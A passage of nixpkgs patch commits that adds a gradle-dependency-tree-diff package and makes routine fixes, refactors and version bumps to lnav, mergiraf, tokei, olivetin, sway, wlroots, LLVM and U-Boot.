+  "org/jetbrains/kotlin#kotlin-stdlib/1.9.22/all": {
+   "jar": "sha256-zsOLwzAucqiq+c3kNrWpBx7gMx4q0F6E2LuJczTX6dQ="
+  },
+  "org/jetbrains/kotlin#kotlin-tooling-core/1.9.22": {
+   "jar": "sha256-iTjrl+NjINqj5vsqYP0qBbIy/0pVcXPFAZ8EW4gy2fQ=",
+   "pom": "sha256-FPx/NcY15fzRvqU3q0+kQxLoQyUtUzNRnjaxJeoImyE="
+  },
+  "org/jetbrains/kotlin#kotlin-util-io/1.9.22": {
+   "jar": "sha256-9telhJGjeLCDrRvq1IikheEdFgsx52wYwa1SDx0o9Gs=",
+   "pom": "sha256-ZP1qINbsBAE7ttdWJ/ZYC7c2QdlIkJ1cFmTi53MQbe4="
+  },
+  "org/jetbrains/kotlin#kotlin-util-klib/1.9.22": {
+   "jar": "sha256-pnnuL1EPOrkmkYGN5etbCQLobYjJdnTn20TcTyJSxfk=",
+   "pom": "sha256-Dep9//Cit0CIrJlwQ8vCQINdK/9Zs5/MiwysbqPrNpc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.5.0": {
+   "jar": "sha256-eNbMcTX4TWkv83Uvz9H6G74JQNffcGUuTx6u7Ax4r7s=",
+   "module": "sha256-yIXdAoEHbFhDgm3jF+PLzcPYhZ2+71OuHPrNG5xg+W4=",
+   "pom": "sha256-U2IuA3eN+EQPwBIgGjW7S9/kAWTv7GErvvze7LL/wqs="
+  },
+  "org/ow2#ow2/1.5.1": {
+   "pom": "sha256-Mh3bt+5v5PU96mtM1tt0FU1r+kI5HB92OzYbn0hazwU="
+  },
+  "org/ow2/asm#asm/9.6": {
+   "jar": "sha256-PG+sJCTbPUqFO2afTj0dnDxVIjXhmjGWc/iHCDwjA6E=",
+   "pom": "sha256-ku7iS8PIQ+SIHUbB3WUFRx7jFC+s+0ZrQoz+paVsa2A="
+  },
+  "org/sonatype/oss#oss-parent/7": {
+   "pom": "sha256-tR+IZ8kranIkmVV/w6H96ne9+e9XRyL+kM5DailVlFQ="
+  },
+  "org/sonatype/oss#oss-parent/9": {
+   "pom": "sha256-+0AmX5glSCEv+C42LllzKyGH7G8NgBgohcFO8fmCgno="
+  }
+ }
+}
diff --git a/pkgs/by-name/gr/gradle-dependency-tree-diff/package.nix b/pkgs/by-name/gr/gradle-dependency-tree-diff/package.nix
new file mode 100644
index 000000000000..de985749a48c
--- /dev/null
+++ b/pkgs/by-name/gr/gradle-dependency-tree-diff/package.nix
@@ -0,0 +1,68 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  gradle,
+  makeBinaryWrapper,
+  jre_headless,
+  zulu11,
+  nix-update-script,
+}:
+stdenv.mkDerivation (finalAttrs: {
+  pname = "gradle-dependency-tree-diff";
+  version = "1.2.1";
+  src = fetchFromGitHub {
+    owner = "JakeWharton";
+    repo = "dependency-tree-diff";
+    tag = finalAttrs.version;
+    hash = "sha256-7ObmZygzSp7aAnqsJuMcPk+I3z993kjHCJMug3JkONg=";
+  };
+
+  nativeBuildInputs = [
+    gradle
+    makeBinaryWrapper
+  ];
+
+  mitmCache = gradle.fetchDeps {
+    inherit (finalAttrs) pname;
+    data = ./deps.json;
+  };
+  __darwinAllowLocalNetworking = true;
+
+  # There is a requirement on the specific Java toolchain.
+  gradleFlags = [ "-Dorg.gradle.java.home=${zulu11}" ];
+
+  gradleBuildTask = "build";
+  doCheck = true;
+
+  installPhase = ''
+    runHook preInstall
+
+    install -Dm644 build/dependency-tree-diff.jar \
+      $out/share/dependency-tree-diff/dependency-tree-diff.jar
+    makeWrapper ${lib.getExe jre_headless} $out/bin/dependency-tree-diff \
+      --add-flags "-jar $out/share/dependency-tree-diff/dependency-tree-diff.jar"
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Intelligent diff tool for the output of Gradle's dependencies task";
+    mainProgram = "dependency-tree-diff";
+    homepage = "https://github.com/JakeWharton/dependency-tree-diff";
+    changelog = "https://github.com/JakeWharton/dependency-tree-diff/releases/tag/${finalAttrs.version}";
+    sourceProvenance = with lib.sourceTypes; [
+      fromSource
+      binaryBytecode
+    ];
+    license = lib.licenses.asl20;
+    maintainers = [ lib.maintainers.progrm_jarvis ];
+    inherit (jre_headless.meta) platforms;
+    badPlatforms = [
+      # Currently fails to build on Darwin due to `Could not connect to the Gradle daemon.` error
+      lib.systems.inspect.patterns.isDarwin
+    ];
+  };
+})

From d9d05175f689bf50a05c8b38b3f7e31ce4437156 Mon Sep 17 00:00:00 2001
From: Guillaume Girol <symphorien+git@xlumurb.eu>
Date: Sun, 25 May 2025 12:00:00 +0000
Subject: [PATCH 0748/4511] lnav: fix running in tmux

(cherry picked from commit 511c01740cbf6cff4601061854190fbaa59bdf91)
---
 pkgs/by-name/ln/lnav/package.nix | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ln/lnav/package.nix b/pkgs/by-name/ln/lnav/package.nix
index 8b152bd7df8f..69face7e86a4 100644
--- a/pkgs/by-name/ln/lnav/package.nix
+++ b/pkgs/by-name/ln/lnav/package.nix
@@ -1,10 +1,10 @@
 {
   lib,
   stdenv,
+  fetchpatch,
   fetchFromGitHub,
   pcre2,
   sqlite,
-  ncurses,
   readline,
   zlib,
   bzip2,
@@ -34,6 +34,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-XS3/km2sJwRnWloLKu9X9z07+qBFRfUsaRpZVYjoclI=";
   };
 
+  patches = [
+    # fixes lnav in tmux by patching vendored dependency notcurses
+    # https://github.com/tstack/lnav/issues/1390
+    # remove on next release
+    (fetchpatch {
+      url = "https://github.com/tstack/lnav/commit/5e0bfa483714f05397265a690960d23ae22e1838.patch";
+      hash = "sha256-dArPJik9KVI0KQjGw8W11oqGrbsBCNOr93gaH3yDPpo=";
+    })
+  ];
+
   enableParallelBuilding = true;
 
   separateDebugInfo = true;
@@ -59,7 +69,6 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs =
     [
       bzip2
-      ncurses
       pcre2
       readline
       sqlite

From a6990d5ac1322064c55bec8c497a056c8aa98f82 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:44:05 +0200
Subject: [PATCH 0749/4511] mergiraf: remove unused argument

(cherry picked from commit 07d2ebcb015b4a0d92631c35d05fe0b304d36116)
---
 pkgs/by-name/me/mergiraf/package.nix | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 64df812e3231..07518fd42c72 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -1,5 +1,4 @@
 {
-  stdenv,
   lib,
   fetchFromGitea,
   rustPlatform,
@@ -24,14 +23,10 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-jShWfd3m9g6YlUFLOzlMPFtuXAAfjh+sBujCJ9F2Uj0=";
 
-  nativeCheckInputs = [
-    git
-  ];
+  nativeCheckInputs = [ git ];
 
   doInstallCheck = true;
-  nativeInstallCheckInputs = [
-    versionCheckHook
-  ];
+  nativeInstallCheckInputs = [ versionCheckHook ];
 
   versionCheckProgramArg = "--version";
 

From cf4b7a7ce095bb776c9c89b156afbe8d7461656f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:44:05 +0200
Subject: [PATCH 0750/4511] mergiraf: use finalAttrs pattern

(cherry picked from commit f384930aabe1adcb6e9529fd75bcdf64d562ad3c)
---
 pkgs/by-name/me/mergiraf/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 07518fd42c72..ad5121780063 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mergiraf";
   version = "0.10.0";
 
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage rec {
     domain = "codeberg.org";
     owner = "mergiraf";
     repo = "mergiraf";
-    rev = "refs/tags/v${version}";
+    rev = "refs/tags/v${finalAttrs.version}";
     hash = "sha256-wnXOl7KzSvvxQP4CebOJ+fEIn7fQDKTmO2PkGMRA4t4=";
   };
 
@@ -33,7 +33,7 @@ rustPlatform.buildRustPackage rec {
   meta = {
     description = "Syntax-aware git merge driver for a growing collection of programming languages and file formats";
     homepage = "https://mergiraf.org/";
-    changelog = "https://codeberg.org/mergiraf/mergiraf/releases/tag/v${version}";
+    changelog = "https://codeberg.org/mergiraf/mergiraf/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [
       zimbatm
@@ -41,4 +41,4 @@ rustPlatform.buildRustPackage rec {
     ];
     mainProgram = "mergiraf";
   };
-}
+})

From f3f504ba8437da54148f832ffacec7f1a63f6983 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:45:23 +0200
Subject: [PATCH 0751/4511] mergiraf: use tag in fetchFromGitea

(cherry picked from commit f50c275feef9af838afc74cc00074f0608fcb57e)
---
 pkgs/by-name/me/mergiraf/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index ad5121780063..a0578e7295de 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     domain = "codeberg.org";
     owner = "mergiraf";
     repo = "mergiraf";
-    rev = "refs/tags/v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-wnXOl7KzSvvxQP4CebOJ+fEIn7fQDKTmO2PkGMRA4t4=";
   };
 

From 16ed9a5b74c66ba6961fb7f989e7e77ffa8a9641 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:47:36 +0200
Subject: [PATCH 0752/4511] mergiraf: add updateScript

(cherry picked from commit b27e729739d302b9ef59a3687f9f8304580a3270)
---
 pkgs/by-name/me/mergiraf/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index a0578e7295de..b68794033f6f 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -2,6 +2,7 @@
   lib,
   fetchFromGitea,
   rustPlatform,
+  nix-update-script,
 
   # native check inputs
   git,
@@ -30,6 +31,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   versionCheckProgramArg = "--version";
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "Syntax-aware git merge driver for a growing collection of programming languages and file formats";
     homepage = "https://mergiraf.org/";

From 2b72e2d7066024e0ca59ba18a625b830d70de08f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:46:33 +0200
Subject: [PATCH 0753/4511] mergiraf: add meta.downloadPage

(cherry picked from commit 8a4403a17e241be9e17539d0ad2bd6c4d9ae1889)
---
 pkgs/by-name/me/mergiraf/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index b68794033f6f..9b6e1f3cabd4 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -36,6 +36,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   meta = {
     description = "Syntax-aware git merge driver for a growing collection of programming languages and file formats";
     homepage = "https://mergiraf.org/";
+    downloadPage = "https://codeberg.org/mergiraf/mergiraf";
     changelog = "https://codeberg.org/mergiraf/mergiraf/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [

From 7bc9567dd2e4e3a66157fd76fccf3f6b33b2c328 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 18:47:03 +0200
Subject: [PATCH 0754/4511] mergiraf: add defelo as maintainer

(cherry picked from commit 213d22801443c0529c184818332a73100fc97554)
---
 pkgs/by-name/me/mergiraf/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 9b6e1f3cabd4..005043b4e71a 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -42,6 +42,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     maintainers = with lib.maintainers; [
       zimbatm
       genga898
+      defelo
     ];
     mainProgram = "mergiraf";
   };

From 00ef19af0feade355920c020ddb04ffca16ea456 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 13:00:04 +0200
Subject: [PATCH 0755/4511] tokei: fix failed downcast to NumberFormatStyle
 when parsing argument

(cherry picked from commit e5681b84f595f3e4192460fac4ea5fdc9ee76296)
---
 pkgs/by-name/to/tokei/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index 42e0ba450c75..a19d2761feae 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   fetchFromGitHub,
   rustPlatform,
+  fetchpatch2,
   libiconv,
   zlib,
 }:
@@ -18,6 +19,14 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
   };
 
+  patches = [
+    (fetchpatch2 {
+      # https://github.com/XAMPPRocky/tokei/pull/1209
+      url = "https://github.com/XAMPPRocky/tokei/commit/ce8d8535276a2e41878981a8199232986ab96c6b.patch";
+      hash = "sha256-1tb+WmjVsTxs8Awf1mbKOBIhJ3ddoOT8ZjBKA2BMocg=";
+    })
+  ];
+
   useFetchCargoVendor = true;
   cargoHash = "sha256-LzlyrKaRjUo6JnVLQnHidtI4OWa+GrhAc4D8RkL+nmQ=";
 

From 881a31616ec3eca363913bf96e5de33cb6262f8b Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 8 Jun 2025 21:49:42 +0200
Subject: [PATCH 0756/4511] nixos/olivetin: use yq-go to merge config files

(cherry picked from commit f71748184cd859ac15a46115b45bd4a38a43906c)
---
 nixos/modules/services/web-apps/olivetin.nix | 28 +++++---------------
 1 file changed, 7 insertions(+), 21 deletions(-)

diff --git a/nixos/modules/services/web-apps/olivetin.nix b/nixos/modules/services/web-apps/olivetin.nix
index 5facc7eb7a56..718c732e3c5a 100644
--- a/nixos/modules/services/web-apps/olivetin.nix
+++ b/nixos/modules/services/web-apps/olivetin.nix
@@ -102,30 +102,16 @@ in
       inherit (cfg) path;
 
       preStart = ''
-        tmp="$(mktemp -d)"
-        trap 'rm -rf "$tmp"' EXIT
-        cd "$tmp"
+        shopt -s nullglob
 
-        cp ${settingsFormat.generate "olivetin-config.yaml" cfg.settings} config.yaml
-        chmod +w config.yaml
-        for ((i=0; i < ${toString (lib.length cfg.extraConfigFiles)}; i++)); do
-          ${lib.getExe pkgs.yq} -yi '
-            def merge($y):
-              . as $x |
-              if ($x | type == "object") and ($y | type == "object") then
-                $x + $y + with_entries(select(.key | in($y)) | .key as $key | .value |= merge($y[$key]))
-              elif ($x | type == "array") and ($y | type == "array") then
-                $x + $y
-              else
-                $y
-              end;
-            merge($f | fromjson)
-          ' config.yaml --rawfile f <(${lib.getExe pkgs.yq} -c . "$CREDENTIALS_DIRECTORY/config-$i.yaml")
-        done
-        chmod -w config.yaml
+        tmp="$(mktemp)"
+        ${lib.getExe pkgs.yq-go} eval-all '. as $item ireduce ({}; . *+ $item)' \
+          ${settingsFormat.generate "olivetin-config.yaml" cfg.settings} \
+          $CREDENTIALS_DIRECTORY/config-*.yaml > "$tmp"
+        chmod -w "$tmp"
 
         mkdir -p /run/olivetin/config
-        mv config.yaml /run/olivetin/config/config.yaml
+        mv "$tmp" /run/olivetin/config/config.yaml
       '';
 
       serviceConfig = {

From 5800effac7388bfd65c6c2133824d76fb55725a9 Mon Sep 17 00:00:00 2001
From: PandapipBot <{{ env.EMAIL }}>
Date: Fri, 30 May 2025 04:07:45 +0000
Subject: [PATCH 0757/4511] gpredict-unstable: 2.4.0-unstable-2024-09-17 ->
 2.2.1-unstable-2024-09-17

(cherry picked from commit 61858bcd7d1d67b02df9e5db75057516099bd137)
---
 pkgs/by-name/gp/gpredict-unstable/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/gp/gpredict-unstable/package.nix b/pkgs/by-name/gp/gpredict-unstable/package.nix
index b048563a747b..54b9fe5e824c 100644
--- a/pkgs/by-name/gp/gpredict-unstable/package.nix
+++ b/pkgs/by-name/gp/gpredict-unstable/package.nix
@@ -11,7 +11,7 @@
 }).overrideAttrs
   (finalAttrs: {
     # Next version is 2.4.0
-    version = "2.4.0-unstable-2024-09-17";
+    version = "2.2.1-unstable-2024-09-17";
 
     src = fetchFromGitHub {
       owner = "csete";

From 43a1e084dd84d807c38588b9cdcb95e1ef051651 Mon Sep 17 00:00:00 2001
From: Gavin John <gavinnjohn@gmail.com>
Date: Thu, 29 May 2025 21:16:17 -0700
Subject: [PATCH 0758/4511] gpredict-unstable: Remove version comment

(cherry picked from commit 497892159df48f67ec27bc6a20d33b638cb4d8e6)
---
 pkgs/by-name/gp/gpredict-unstable/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/gp/gpredict-unstable/package.nix b/pkgs/by-name/gp/gpredict-unstable/package.nix
index 54b9fe5e824c..7d8f43238c06 100644
--- a/pkgs/by-name/gp/gpredict-unstable/package.nix
+++ b/pkgs/by-name/gp/gpredict-unstable/package.nix
@@ -10,7 +10,6 @@
   goocanvas2 = goocanvas3;
 }).overrideAttrs
   (finalAttrs: {
-    # Next version is 2.4.0
     version = "2.2.1-unstable-2024-09-17";
 
     src = fetchFromGitHub {

From 370bcf3c68e595a18f5cea8e43b1e5cd75240871 Mon Sep 17 00:00:00 2001
From: PandapipBot <{{ env.EMAIL }}>
Date: Wed, 4 Jun 2025 07:50:54 +0000
Subject: [PATCH 0759/4511] vscode-extensions.reditorsupport.r: 2.8.5 -> 2.8.6

(cherry picked from commit 38e9df562e979fda27f92fbb3c7a02cb5198929a)
---
 .../editors/vscode/extensions/reditorsupport.r/default.nix    | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix b/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
index 86b8bd729f71..85359d2a95ca 100644
--- a/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
@@ -12,8 +12,8 @@ vscode-utils.buildVscodeMarketplaceExtension {
   mktplcRef = {
     name = "r";
     publisher = "reditorsupport";
-    version = "2.8.5";
-    hash = "sha256-cZeZdrViEae9sRb9GyB/LeSQ5NRb/fAp3qQW9mPMbsM=";
+    version = "2.8.6";
+    hash = "sha256-T/Qh0WfTfXMzPonbg9NMII5qFptfNoApFFiZCT5rR3Y=";
   };
   nativeBuildInputs = [
     jq

From 45e4413e413a7ffda8ef82fa2bab08427485ee78 Mon Sep 17 00:00:00 2001
From: Jakob Leifhelm <jakob.leifhelm@gmail.com>
Date: Sat, 10 Aug 2024 12:56:37 +0200
Subject: [PATCH 0760/4511] ubootVisionFive2: init

(cherry picked from commit 319feec0a2c71f9bba3aa7e1cd53c99cdacd3a53)
---
 pkgs/misc/uboot/default.nix     | 21 +++++++++++++++++++++
 pkgs/top-level/all-packages.nix |  1 +
 2 files changed, 22 insertions(+)

diff --git a/pkgs/misc/uboot/default.nix b/pkgs/misc/uboot/default.nix
index ba433461bd19..13320be7065b 100644
--- a/pkgs/misc/uboot/default.nix
+++ b/pkgs/misc/uboot/default.nix
@@ -27,6 +27,7 @@
   armTrustedFirmwareRK3568,
   armTrustedFirmwareRK3588,
   armTrustedFirmwareS905,
+  opensbi,
   buildPackages,
 }@pkgs:
 
@@ -808,6 +809,26 @@ in
     # sf probe; sf update $loadaddr 0 80000
   };
 
+  ubootVisionFive2 =
+    let
+      opensbi_vf2 = opensbi.overrideAttrs (attrs: {
+        makeFlags = attrs.makeFlags ++ [
+          # Matches u-boot documentation: https://docs.u-boot.org/en/latest/board/starfive/visionfive2.html
+          "FW_TEXT_START=0x40000000"
+          "FW_OPTIONS=0"
+        ];
+      });
+    in
+    buildUBoot {
+      defconfig = "starfive_visionfive2_defconfig";
+      extraMeta.platforms = [ "riscv64-linux" ];
+      OPENSBI = "${opensbi_vf2}/share/opensbi/lp64/generic/firmware/fw_dynamic.bin";
+      filesToInstall = [
+        "spl/u-boot-spl.bin.normal.out"
+        "u-boot.itb"
+      ];
+    };
+
   ubootWandboard = buildUBoot {
     defconfig = "wandboard_defconfig";
     extraMeta.platforms = [ "armv7l-linux" ];
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index d50cbd1d4361..3a450f761cef 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11575,6 +11575,7 @@ with pkgs;
     ubootSopine
     ubootTuringRK1
     ubootUtilite
+    ubootVisionFive2
     ubootWandboard
     ;
 

From 73f376ef84a42fe343f94a6b503ae31e3a1b37c1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 07:15:22 +0000
Subject: [PATCH 0761/4511] pyfa: 2.62.3 -> 2.63.1

(cherry picked from commit 5c695bad7863dfa391de5b72c77ced715913e456)
---
 pkgs/by-name/py/pyfa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/py/pyfa/package.nix b/pkgs/by-name/py/pyfa/package.nix
index 578ef30da73e..196231ffb451 100644
--- a/pkgs/by-name/py/pyfa/package.nix
+++ b/pkgs/by-name/py/pyfa/package.nix
@@ -10,7 +10,7 @@
   copyDesktopItems,
 }:
 let
-  version = "2.62.3";
+  version = "2.63.1";
 in
 python3Packages.buildPythonApplication rec {
   inherit version;
@@ -21,7 +21,7 @@ python3Packages.buildPythonApplication rec {
     owner = "pyfa-org";
     repo = "Pyfa";
     tag = "v${version}";
-    hash = "sha256-PqiwZwok7Mv1M4txU3D5MZYu8WxDCetLmvTqZ30rypY=";
+    hash = "sha256-kpTJ7cgS/W0mUtplERiEYJA+FszPILCI+0AVbk6MVAA=";
   };
 
   desktopItems = [

From 7a37b0ca28c4cbb0f23336fb6749c8ac9ac653a5 Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Wed, 28 May 2025 10:17:14 +0800
Subject: [PATCH 0762/4511] wlroots_0_19: init at 0.19.0

(cherry picked from commit 2d1418e6ff82a427a738be0595b5ad41faa8a6f5)
---
 pkgs/development/libraries/wlroots/default.nix | 8 +++++++-
 pkgs/top-level/all-packages.nix                | 1 +
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/wlroots/default.nix b/pkgs/development/libraries/wlroots/default.nix
index e3802c1a4d9d..22d444dd68fc 100644
--- a/pkgs/development/libraries/wlroots/default.nix
+++ b/pkgs/development/libraries/wlroots/default.nix
@@ -169,5 +169,11 @@ rec {
     ];
   };
 
-  wlroots = wlroots_0_18;
+  wlroots_0_19 = generic {
+    version = "0.19.0";
+    hash = "sha256-I8z50yA/ukvXEC5TksG84+GrQpfC4drBJDRGw0R8RLk=";
+    extraBuildInputs = [
+      lcms2
+    ];
+  };
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3a450f761cef..535edb5f091f 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12810,6 +12810,7 @@ with pkgs;
   inherit (callPackages ../development/libraries/wlroots { })
     wlroots_0_17
     wlroots_0_18
+    wlroots_0_19
     ;
 
   sway-contrib = recurseIntoAttrs (callPackages ../applications/misc/sway-contrib { });

From bc292fbe9831fc433b97d20f0efc2267d3857e35 Mon Sep 17 00:00:00 2001
From: Sean Behan <codebam@riseup.net>
Date: Sun, 8 Jun 2025 20:50:09 -0400
Subject: [PATCH 0763/4511] sway-unwrapped: 1.10.1 -> 1.11

Diff: https://github.com/swaywm/sway/compare/1.10.1...1.11

Changelog: https://github.com/swaywm/sway/releases/tag/1.11
(cherry picked from commit 0656506b748ba63352b5d0c8514228ff3f79e83a)
---
 pkgs/by-name/sw/sway-unwrapped/package.nix | 4 ++--
 pkgs/top-level/all-packages.nix            | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sw/sway-unwrapped/package.nix b/pkgs/by-name/sw/sway-unwrapped/package.nix
index 279e711c923b..22707fc19d99 100644
--- a/pkgs/by-name/sw/sway-unwrapped/package.nix
+++ b/pkgs/by-name/sw/sway-unwrapped/package.nix
@@ -35,7 +35,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "sway-unwrapped";
-  version = "1.10.1";
+  version = "1.11";
 
   inherit
     enableXWayland
@@ -47,7 +47,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "swaywm";
     repo = "sway";
     rev = finalAttrs.version;
-    hash = "sha256-uBtQk8uhW/i8lSbv6zwsRyiiImFBw1YCQHVWQ8jot5w=";
+    hash = "sha256-xMrexVDpgkGnvAAglshsh7HjvcbU2/Q6JLUd5J487qg=";
   };
 
   patches =
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 535edb5f091f..1583534d130c 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2070,7 +2070,7 @@ with pkgs;
   coreboot-configurator = libsForQt5.callPackage ../tools/misc/coreboot-configurator { };
 
   sway-unwrapped = callPackage ../by-name/sw/sway-unwrapped/package.nix {
-    wlroots = wlroots_0_18;
+    wlroots = wlroots_0_19;
   };
 
   cambrinary = python3Packages.callPackage ../applications/misc/cambrinary { };

From d3903f05e749a2d7a7c67d2d90a62fed1201e2a7 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 8 Jun 2025 20:26:02 -0700
Subject: [PATCH 0764/4511] llvmPackages_git: 21.0.0-unstable-2025-06-06 ->
 21.0.0-unstable-2025-06-08

(cherry picked from commit 95cca8d853ffd96c6d9aa514fa397c483cacf954)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 9fc862c71751..9753bed82150 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "9e2684e4cfb0a7e30d5e49f812127d07cdda600d";
-      rev-version = "21.0.0-unstable-2025-06-06";
-      sha256 = "sha256-OtIRNU+AuUaPhAsd0Kn0odAdPJhkV/139+DR6Ls0XrE=";
+      rev = "90beda2aba3cac34052827c560449fcb184c7313";
+      rev-version = "21.0.0-unstable-2025-06-08";
+      sha256 = "sha256-+aTUb9Hg/upulKGLKNpqDYKES62mWkjuLZP07WGnBSc=";
     };
   } // llvmVersions;
 

From 3b6a9f83f1356c4966123b2106caba027345fa72 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 9 Jun 2025 09:43:27 +0200
Subject: [PATCH 0765/4511] ci/check-cherry-picks: fix indent of truncation
 marker

This needs to be indented the same way as the remaining code-block,
otherwise the `</details>` is not rendered correctly.

(cherry picked from commit ca5775952eec82b3510fc17969d8e26cdd1767fb)
---
 ci/check-cherry-picks.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 6036d5a1529a..51efb543ad3f 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -121,7 +121,7 @@ while read -r new_commit_sha ; do
           # consider this too unlikely to happen, to deal with explicitly.
           max_length=10000
           if [ "${#diff}" -gt $max_length ]; then
-            printf -v diff "%s\n\n[...truncated...]" "$(echo "$diff" | head -c $max_length | head -n-1)"
+            printf -v diff "%s\n>\n> [...truncated...]" "$(echo "$diff" | head -c $max_length | head -n-1)"
           fi
           echo "$diff" >> $markdown_file
           echo '> ```' >> $markdown_file

From ea5f020c2266375425b5df27fd4d2c87f680ece9 Mon Sep 17 00:00:00 2001
